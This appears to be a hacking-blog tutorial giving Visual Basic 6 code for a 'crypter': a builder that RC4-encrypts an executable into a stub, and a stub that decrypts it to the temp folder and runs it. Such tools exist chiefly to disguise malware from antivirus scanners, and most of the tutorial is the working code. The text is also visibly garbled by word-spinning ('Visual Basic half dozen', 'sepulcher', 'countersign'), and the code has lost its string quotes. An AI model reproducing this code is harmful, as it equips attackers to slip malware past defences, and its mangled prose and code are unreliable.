How To build a crypter ?
What you'll need:
Visual Basic half dozen or Visual Basic half dozen transportable
A RC4 module (Click Here to Download
A brain
The RC4 module and Visual Basic half dozen transportable can have the transfer links at the end of this tutorial.
TABLE OF CONTENTS:
1. Introduction
2. Building your crypter
3. Conclusion
1. Introduction
RC4:
In cryptography, RC4 (also called ARCFOUR or ARC4 that means Alleged RC4, see below) is that the most generally used stream cipher and is employed in protocols like Secure Sockets Layer (SSL) (to defend net traffic) and WEP (to secure wireless networks).
Stub:
A method stub or just stub in software development may be a piece of code used to exchange for a few different programming practicality. A stub might simulate the behavior of existing code (such as a procedure on a far off machine) or be a short lived substitute for yet-to-be-developed code. Stubs square measure so most helpful in porting, distributed computing additionally as general package development and testing.
Builder:
A builder is sometimes the consumer to make/do one thing to a file, and it's imagined to come with a stub. The builder sometimes permits the stub to simulate the behaivor of existing code, and than it makes the file/does one thing to a file.
Here is the Real Work Starts
2. Building your crypter.
Now, open up Visual Basic half dozen or Visual Basic transportable. to form the task easier, open 2 Visual Basic half dozen programs. One goes to be the builder, and one goes to be the stub.
Now, lets begin on the builder. Add a RC4 module, and lets prolong. initial of all, add one label that says File Path:, a text box right beside File Path:, a button that says Browse or ..., and another button that says sepulcher or Build. Now, lets add the CommonDialog management. Add a CommonDialog and name it commondlg. Now, lets double click the button that says Browse or .... Add this code, and i will justify it.
Code:
With commondlg 'CommonDialog1.
.Filter = possible files | *.exe 'The file used for crypting. (*.exe)
.DialogTitle = Please choose a possible file... 'The title of the dialog.
.ShowOpen 'Show the dialog.
End With
TextBox1.Text = commondlg.FileName 'Make TextBox1.Text because the selected name.
The With commondlg command calls CommonDialog1.
The .Filter half permits you to decide on what files you merely wish to be selected .
The .DialogTitle command is that the title of the dialog (the prompt that tells you which ones file you would like to pick for crypting).
The .ShowOpen command shows the dialog.
End With can finish CommonDialog1.
And finally, the TextBox1.Text = commondlg.FileName command makes TextBox1.text show the chosen name.
Now, click the button that says Build or sepulcher. Add this code. It explains it, therefore please take time to scan what it says.
Code:
Dim sStub As String, sFile As String 'This command can declare the 2 strings.
Open App.Path & stub.exe For Binary As #1 'Opens up the stub.
sStub = Space(LOF(1)) 'This declares the house.
Get #1, , sStub 'This puts in a very house within the file.
Close #1 'This closes the file.
Open TextBox1.Text For Binary As #1 'Opens up the stub.
sFile = Space(LOF(1)) 'This declares the house.
Get #1, , sFile 'This puts an area within the file.
Close #1 'This closes the file.
Open App.Path & output.exe For Binary As #1 'This creates the crypted file as output.exe.
Put #1, , sStub & FileSplit & RC4(sFile, Pass) 'This adds choice|the choice} FileSplit and therefore the RC4 option.
Close #1 'This closes the file.
MsgBox (File crypted with success!) 'This is that the prompt to point out the message that the program successfully crypted the file.
Now, you may have a slip which will show you that FileSplit and Pass isn't declared. To do so, we'll add the declarations on the highest of the writing.
Code:
Const FileSplit = 'The file split.
Const Pass = s0rasRC4Tutorial 'The RC4 countersign.
For this tutorial, we'll be victimisation s0rasRC4Tutorial because the RC4 countersign.
Now, lets begin on the stub. Add the RC4 module, and build a brand new module known as modMain. Add this code in modMain:
Code:
Const FileSplit = 'The file split.
Const Pass = s0rasRC4Tutorial 'The RC4 password; It should be constant because the one on the builder!
Public Declare perform ShellExecute Lib Shell32.dll Alias ShellExecuteA (ByVal hwnd As Long, ByVal lpszOp As String, ByVal lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As String, ByVal FsShowCmd As Long) As Long 'Calls the ShellExecute command.
Public Sub Main() 'The main a part of the stub.
Dim sStub As String, sFile As String 'This can declare the strings once more, a bit like we have a tendency to did on the builder.
Open App.Path & & App.EXEName & .exe For Binary As #1 'Opens up the chosen .exe file.
sStub = Space(LOF(1)) 'This can declare the house.
Get #1, , sStub 'This puts an area within the file.
Close #1 'This closes the file.
sFile = Split(sStub, FileSplit)(1) 'This can split the file and therefore the stub.
Open Environ(tmp) & decrypted.exe For Binary As #1 'This can build a decrypted move into the RC4 folder.
Put #1, , RC4(sFile, Pass) 'This can add the RC4 countersign to the file with the chosen RC4 countersign.
Call ShellExecute(0, vbNullString, Environ(tmp) & decrypted.exe, vbNullString, vbNullString, 1) 'Calls the ShellExecute command and drops the decrypted move into the temporary files folder.
End Sub 'This ends Public Sub Main().
The code are teaching you. Once you are done, take away the Form1.
3. Conclusion
I hope you liked this tutorial, and that i hope you learned plenty concerning crypting
Thnx For Visiting
ReGarDs (HaXoR and Noobs Acadmy)
Post a Comment Blogger Facebook